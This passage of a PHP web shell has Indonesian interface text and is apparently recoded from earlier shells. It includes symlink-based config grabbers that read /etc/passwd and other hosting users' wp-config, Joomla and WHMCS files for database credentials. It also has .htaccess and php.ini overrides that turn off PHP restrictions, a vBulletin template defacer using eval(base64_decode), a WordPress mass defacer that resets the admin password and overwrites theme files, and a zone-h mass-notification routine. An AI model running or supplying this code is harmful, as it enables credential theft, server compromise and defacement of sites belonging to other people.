                        }

                    }
                } else{
                    echo "<br><br><font color='springgreen' face='Fredericka The Great'>TOOLS GAK BISA DI PAKE NDAN -_- SERVERNYA BUKAN WINDOWS</font>";
                }die();
        }
elseif (isset($_GET['x']) && ($_GET['x'] == 'hostg')) {
    echo $bencong . "<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Symlink HostGator Server ('.ini') Extension Method</b></p>";<center><img src="http://www.taylorclark.co/wp-content/uploads/2013/06/Hostgator-VS-Amazon.jpg"></center><center><form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) for symlink ^_^</font><p><input type=submit name="hostg" value="Extract usernames" /></form></center> if (isset($_POST['hostg'])) {<form method=post><textarea rows=10 cols=50 name=user>$users = file("/etc/passwd");
        foreach ($users as $user) {
            $str = explode(":", $user);
            echo $str[0] . "\n";
        }</textarea><br><br><input type=submit name=su value="Bypass HostGator Configs" /></form> }error_reporting(0);
    echo "<font color=#58FAF4 size=2 face=\"Courier New\">";
    if (isset($_POST['su'])) {
        mkdir('HostGator', 0755);
        $rr = " Options +FollowSymLinks \n DirectoryIndex Sux.html \n Options +Indexes \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain.html ";
        $g  = fopen('HostGator/.htaccess', 'w');
        fwrite($g, $rr);
        $HostGator = symlink("/", "HostGator/root");
        $rt        = "<a href=HostGator/root><font color=#ff0000 size=2 face=\"Courier New\"> Bypassed Successfully</font></a>";
        echo "Check link given below for / folder symlink <br><b>$rt</b>";
        mkdir('HostGator', 0755);
        $rr = " Safe_mode = OFF \n Disable_functions = NONE \n Open_basedir = OFF ";
        $g  = fopen('HostGator/php.ini', 'w');
        fwrite($g, $rr);
        $HostGator = symlink("/", "HostGator/root");
        fwrite($f, $r);
        $consym = "<a href=HostGator/><font color=#ff0000 size=2 face=\"Courier New\">configuration files</font></a>";
        echo "<br><font color=#58FAF4 size=2 face=\"Courier New\">The link given below is for configs path symlink, If Forbidden you can view Configs inside the Source Code By Creating an shtml File and including virtual name of the config name Or Just Back Connect to the server and retrieve root manually ln -s / Good Chance ^_^  </font><br><b><font color=#58FAF4 size=2 face=\"Courier New\">$consym</font></b>";
        $usr           = explode("\n", $_POST['user']);
        $configuration = array(
            "wp-config.ini",
            "wordpress/wp-config.ini",
            "configuration.ini",
            "blog/wp-config.ini",
            "joomla/configuration.ini",
            "vb/includes/config.ini",
            "includes/config.ini",
            "conf_global.ini",
            "inc/config.ini",
            "config.ini",
            "Settings.ini",
            "sites/default/settings.ini",
            "whm/configuration.ini",
            "whmcs/configuration.ini",
            "support/configuration.ini",
            "whmc/WHM/configuration.ini",
            "whm/WHMCS/configuration.ini",
            "whm/whmcs/configuration.ini",
            "support/configuration.ini",
            "clients/configuration.ini",
            "client/configuration.ini",
            "clientes/configuration.ini",
            "cliente/configuration.ini",
            "clientsupport/configuration.ini",
            "billing/configuration.ini",
            "admin/config.ini"
        );
        foreach ($usr as $uss) {
            $us = trim($uss);
            foreach ($configuration as $c) {
                $rs = "/home/" . $us . "/public_html/" . $c;
                $r  = "HostGator/" . $us . " .. " . $c;
                symlink($rs, $r);
            }
        }
    }
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'grabc')) { @ini_set('output_buffering',0);
    echo "
<form method='POST'>
</head>
<style>
textarea{resize:none;color:#000;background-color:#000;font-size:8pt;color:#fff;border:1px solid white;border-left:4px solid white;width:543px;height:400px}input{color:#000;border:1px dotted white}
</style>";
echo "<center>";</center><br><center>if (empty($_POST['config'])) {<p><font face="Cabin" color="springgreen" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='inputz' rows='15' cols='60'>echo file_get_contents('/etc/passwd');</textarea><br><br><input name="config" class='inputz' size="100" value="Grab!" type="submit"><br></form></center><br>}if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('Sad-Conf', 0755);@chdir('Sad-Conf');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
$passwd=explode("\n",$passwd);
echo "<br><br><center><font face='cabin' color=Crimson size=2pt>Kalem Ndan Lagi Di Proses...</center><br>";
foreach($passwd as $pwd){
$pawd=explode(":",$pwd);$user =$pawd[0];
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
echo '<b><font face="Homenaje" color="springgreen" size="3pt"><b>Selesai Bro Monggo >></b> <a target="_blank" href="Sad-Conf">Hajar Config</a></font></b>';}
die();
}
/////// Cukup Sampai Disini ya Grabber :( ////////

elseif (isset($_GET['x']) && ($_GET['x'] == 'vb')) {
    if (empty($_POST['index'])) {
        echo "<center><br><br><FORM method='POST'>host : <INPUT size='15' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='15' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='15' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='15' value='' name='perfix' type='text'><br><textarea class='inputz' name='index' cols='40' rows='10'>Hacked By CyberTeamRox</textarea><br><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></center>";
    } else {
        $localhost = $_POST['localhost'];
        $database  = $_POST['database'];
        $username  = $_POST['username'];
        $password  = $_POST['password'];
        $perfix    = $_POST['perfix'];
        $index     = $_POST['index'];
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $index     = str_replace("\'", "'", $index);
        $set_index = "{\${eval(base64_decode(\'";
        $set_index .= base64_encode("echo '$index';");
        $set_index .= "\'))}}{\${exit()}}</textarea>";
        $ok = @mysql_query("UPDATE " . $perfix . "template SET template ='" . $set_index . "' WHERE title ='FORUMHOME'") or die(mysql_error());
        if ($ok) {
            echo "Defaced<br><br>";
        }
    }
}

 elseif (isset($_GET['x']) && ($_GET['x'] == 'wm')) {
    ini_set("display_errors", "0");
    set_time_limit(0);
    @session_start();
    $base_path = dirname(__FILE__) . '/';
    function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
    {
        $ar0 = explode($marqueurDebutLien, $text);
        $ar1 = explode($marqueurFinLien, $ar0[$i]);
        return trim($ar1[0]);
    }
    function randomt()
    {
        $chars = "abcdefghijkmnopqrstuvwxyz023456789";
        srand((double) microtime() * 1000000);
        $i    = 0;
        $pass = '';
        while ($i <= 7) {
            $num  = rand() % 33;
            $tmp  = substr($chars, $num, 1);
            $pass = $pass . $tmp;
            $i++;
        }
        return $pass;
    }
    function index_changer_wp($conf, $content)
    {
        $output   = '';
        $dol      = '$';
        $username = entre2v2($conf, "define('DB_USER', '", "');");
        $password = entre2v2($conf, "define('DB_PASSWORD', '", "');");
        $dbname   = entre2v2($conf, "define('DB_NAME', '", "');");
        $prefix   = entre2v2($conf, $dol . "table_prefix  = '", "'");
        $host     = entre2v2($conf, "define('DB_HOST', '", "');");
        $link     = mysql_connect($host, $username, $password);
        if ($link) {
            mysql_select_db($dbname, $link);
            $dol  = '$';
            $req1 = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = 'k2',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");
        } else {
            $output .= "[-] DB Error<br>";
        }
        if ($req1) {
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='home'");
            $data          = mysql_fetch_array($req);
            $site_url      = $data["option_value"];
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='template'");
            $data          = mysql_fetch_array($req);
            $template      = $data["option_value"];
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='current_theme'");
            $data          = mysql_fetch_array($req);
            $current_theme = $data["option_value"];
            $useragent     = "Mozilla/4.0 (compatible;MSIE 7.0b;Windows NT 5.1;.NET CLR 1.1.4322;Alexa Toolbar;.NET CLR 2.0.50727)";
            $url2          = $site_url . "/wp-login.php";
            $ch            = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "log=k2&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer = curl_exec($ch);
            $pos    = strpos($buffer, "action=logout");
            if ($pos === false) {
                $output .= "[-] Successful Login<br>";
            } else {
                $output .= "[+] Successful Login<br>";
            }
            $url2 = $site_url . "/wp-admin/theme-editor.php?file=/themes/" . $template . '/index.php&theme=' . urlencode($current_theme) . '&dir=theme';
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer0  = curl_exec($ch);
            $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
            $_file    = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
            if (substr_count($_file, "/index.php") != 0) {
                $output .= "[+] index.php Opened<br>";
            } else {
                $output .= "[-] index.php Unable to open<br>";
            }
            $url2 = $site_url . "/wp-admin/theme-editor.php";
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . $content . "&action=update&file=" . $_file . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer = curl_exec($ch);
            curl_close($ch);
            $pos  = strpos($buffer, '<div id="message" class="updated">');
            $cond = 0;
            if ($pos === false) {
                $output .= "[-] index.php Failed<br>";
            } else {
                $output .= "[+] index.php Failed+<br>";
                $cond = 1;
            }
        } else {
            $output .= "[-] DB Error<br>";
        }
        global $base_path;
        unlink($base_path . 'COOKIE.txt');
        return array(
            'cond' => $cond,
            'output' => $output
        );
    }
    function exec_mode_1($def_url)
    {
        @mkdir('sym', 0777);
        $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
        $fp = @fopen('sym/.htaccess', 'w');
        fwrite($fp, $wr);
        @symlink('/', 'sym/root');
        $dominios = @file_get_contents("/etc/named.conf");
        @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
        $out[1]          = array_unique($out[1]);
        $numero_dominios = count($out[1]);
        echo "Total Websites: $numero_dominios <br><br>";
        $def                = file_get_contents($def_url);
        $def                = urlencode($def);
        $base_url           = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/sym/root/home/';
        $output             = fopen('defaced.html', 'a+');
        $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] : 0) : 0;
        $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] : 0) : 0;
        echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Script</th><th>Process</th><th>Results</th></tr>';
        $j  = 1;
        $st = (isset($_GET['st']) && $_GET['st'] != '') ? $_GET['st'] : 0;
        for ($i = $st; $i <= $numero_dominios; $i++) {
            $domain       = $out[1][$i];
            $dono_arquivo = @fileowner("/etc/valiases/" . $domain);
            $infos        = @posix_getpwuid($dono_arquivo);
            $config02     = @file_get_contents($base_url . $infos['name'] . "/public_html/wp-config.php");
            $cls          = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
            if ($config02 && preg_match('/DB_NAME/i', $config02)) {
                echo '<tr ' . $cls . '><td align="center">' . ($j++) . '</td><td align="center">' . $i . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
                $res = index_changer_wp($config02, $def);
                echo '<td>' . $res['output'] . '</td>';
                if ($res['cond']) {
                    echo '<td align="center"><span class="green">HACKED</span></td>';
                    fwrite($output, 'http://' . $domain . "<br>");
                    $_SESSION['count2'] = $_SESSION['count2'] + 1;
                } else {
                    echo '<td align="center"><span class="red">unsuccessful</span></td>';
                }
                echo '</tr>';
            }
        }
        echo '</table>';
        echo '<hr/>';
        echo 'Total Deface = ' . ($_SESSION['count1'] + $_SESSION['count2']) . '<br>';
        echo '<a href="defaced.html" target="_blank">List Websites Defaced</a><br>';
    }
    echo '<head><p><h2 style="color:#FF0000;text-align: center;font-family:orbitron;font-size:25px;">Wordpress Mass Defacer</h2><link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css"><style type="text/css">body {color: white;font-family: "orbitron";}.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}</style></p><script type="text/javascript">function change() {if(document.getElementById(\'rcd\').checked == true) {document.getElementById(\'tra\').style.display = \'\';} else {document.getElementById(\'tra\').style.display = \'none\';} }function hide() {document.getElementById(\'tra\').style.display = \'none\';}</script></head><body><div class="footer"><a href="https://facebook.com/Krypton" target="_blank"><h3 style="text-align: center;">' . Krypton . '</h3></a></div><div>';
    if (!isset($_POST['form_action'])) {
        echo '<div align="center"><center><img class="HoverBorder" alt="" src="http://data.whicdn.com/images/109178420/large.jpg";' . $tunisia . '" /></center><form action="" method="post"><input type="hidden" name="form_action" value="1"><br>index url:<input class="inputz" type="text" name="indexadresi" size="30" value="http://site.com/index.html" /><br><br><input class="inputzbut" type="submit" value="Deface" name="Submit"></form> </div>';
    }
    echo '<div align="center">';
    if ($_POST['form_action'] == 1) {
        exec_mode_1($_POST['indexadresi']);
    }
    echo '</div></div></body></html>';
} elseif (isset($_GET['x']) && ($_GET['x'] == 'zone-h')) {
    $defacer         = 'Krypton';
    $display_details = 0;
    $method          = 14;
    $reason          = 5;
    error_reporting(0);
    set_time_limit(0);
    if (!function_exists('curl_init')) {
        echo "CURL ERROR\n";
        exit;
    }
    $cli = (isset($argv[0])) ? 1 : 0;
    if ($cli == 1) {
        $file  = $argv[1];
        $sites = file($file);
        if (!file_exists($file)) {
            echo "<br><br><center><h1>error !</h1></center>\n";
            exit;
        }
    } else {
        if (function_exists(apache_setenv)) {
            @apache_setenv('no-gzip', 1);
        }
        @ini_set('zlib.output_compression', 0);
        @ini_set('implicit_flush', 1);
        @ob_implicit_flush(true);
        @ob_end_flush();
        if (isset($_POST['domains'])) {
            $sites = explode("\n", $_POST['domains']);
        }
        if (file_exists($_FILES["file"]["tmp_name"])) {
            $file  = $_FILES["file"]["tmp_name"];
            $sites = file($file);
        }
        echo <<<EOF
<div align="center"><table width="67%"><tr><td align=center></td></tr></table><br><pre>
EOF;
        if (!isset($_POST['defacer'])) {
            echo <<<EOF
<form enctype="multipart/form-data" method="POST"><div align='center'><span lang='en-us'><b>Defacer&nbsp;:</b></span><input class='inputz' name="defacer" type="text" value="$defacer" /><br/><table width='55%'><tr><td align='center'><span lang='en-us'><b>Domains:</b></span><p align='center'>&nbsp;<textarea rows='30' name='domains' cols='50' class='inputz'></textarea><br/><span lang='en-us'><b>OR</b></span><br/>Submit form .txt file:<br/><input name="file" type="file" /><br><br/><br/><input class='inputzbut' type='submit' value='    Send    ' name='submit'></p></td></tr></table></form>
EOF;
        }
        $defacer = $_POST['defacer'];
    }
    if (!$sites) {
        echo '</pre>';
        exit;
    }
    $sites = array_unique(str_replace('http://', '', $sites));
    $total = count($sites);
    echo "[+] Total unique domain: $total\n\n";
    $pause = 10;
    $start = time();
    $main  = curl_multi_init();
    for ($m = 0; $m < 3; $m++) {
        $http[] = curl_init();
    }
    for ($n = 0; $n < $total; $n += 30) {
        if ($display_details == 1) {
            for ($x = 0; $x < 30; $x++) {
                echo '[+] Adding ' . rtrim($sites[$n + $x]) . '';
                echo "\n";
            }
        }
        $d = $n + 30;
        if ($d > $total) {
            $d = $total;
        }
        echo "=====================>[$d/$total]\n";
        for ($w = 0; $w < 3; $w++) {
            $p = $w * 10;
            if (!(isset($sites[$n + $p]))) {
                $pause = $w;
                break;
            }
            $posts[$w] = "defacer=$defacer&domain1=http%3A%2F%2F" . rtrim($sites[$n + $p]) . "&domain2=http%3A%2F%2F" . rtrim($sites[$n + $p + 1]) . "&domain3=http%3A%2F%2F" . rtrim($sites[$n + $p + 2]) . "&domain4=http%3A%2F%2F" . rtrim($sites[$n + $p + 3]) . "&domain5=http%3A%2F%2F" . rtrim($sites[$n + $p + 4]) . "&domain6=http%3A%2F%2F" . rtrim($sites[$n + $p + 5]) . "&domain7=http%3A%2F%2F" . rtrim($sites[$n + $p + 6]) . "&domain8=http%3A%2F%2F" . rtrim($sites[$n + $p + 7]) . "&domain9=http%3A%2F%2F" . rtrim($sites[$n + $p + 8]) . "&domain10=http%3A%2F%2F" . rtrim($sites[$n + $p + 9]) . "&hackmode=" . $method . "&reason=" . $reason . "&submit=Send";
            $curlopt   = array(
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_ENCODING => true,
                CURLOPT_HEADER => false,
                CURLOPT_HTTPHEADER => array(
                    "Keep-Alive: 7"
                ),
                CURLOPT_CONNECTTIMEOUT => 3,
                CURLOPT_URL => 'http://www.zone-h.com/notify/mass',
                CURLOPT_POSTFIELDS => $posts[$w]
            );
            curl_setopt_array($http[$w], $curlopt);
            curl_multi_add_handle($main, $http[$w]);
        }
        $running = null;
        do {
            curl_multi_exec($main, $running);
        } while ($running > 0);
        for ($m = 0; $m < 3; $m++) {
            if ($pause == $m) {
                break;
            }
            curl_multi_remove_handle($main, $http[$m]);
            $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
            if ($code != 200) {
                while (true) {
                    echo ' [-]Error!....Retrying';
                    echo "\n";
                    sleep(5);
                    curl_exec($http[$m]);
                    $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
                    if ($code == 200) {
                        break 1;
                    }
                }
            }
        }
    }
    $end = time() - $start;
    echo 'Done';
    echo "\n\n[*]Time: $end seconds\n";
    curl_multi_close($main);
    if ($cli == 0) {
        echo '</pre></body></html>';
    }
    exit;
} 
 elseif (isset($_GET['x']) && ($_GET['x'] == 'about')) {
    echo '<br><center><k>WebShell Recoded By NoNameUser</k><br><br>S I R N A Merupakan Shell hasil recode dari shell k2ll33d & Sadness Shell , <br>kemudian ditambahkan beberapa fungsi-fungsi agar shell lebih powerful dan userfriendly.<br>
        beberapa fungsi diambil dari shell yang sudah ada dan selebihnya merupakan kreasi penulis sendiri.<br>shell ini aman dan bersih dari yang namanya Logger meskipun script ini diencode, <br>penulis tidak menyisipkan Logger pada gambar ataupun dalam script PHP ini.
        <br><k>Mail:&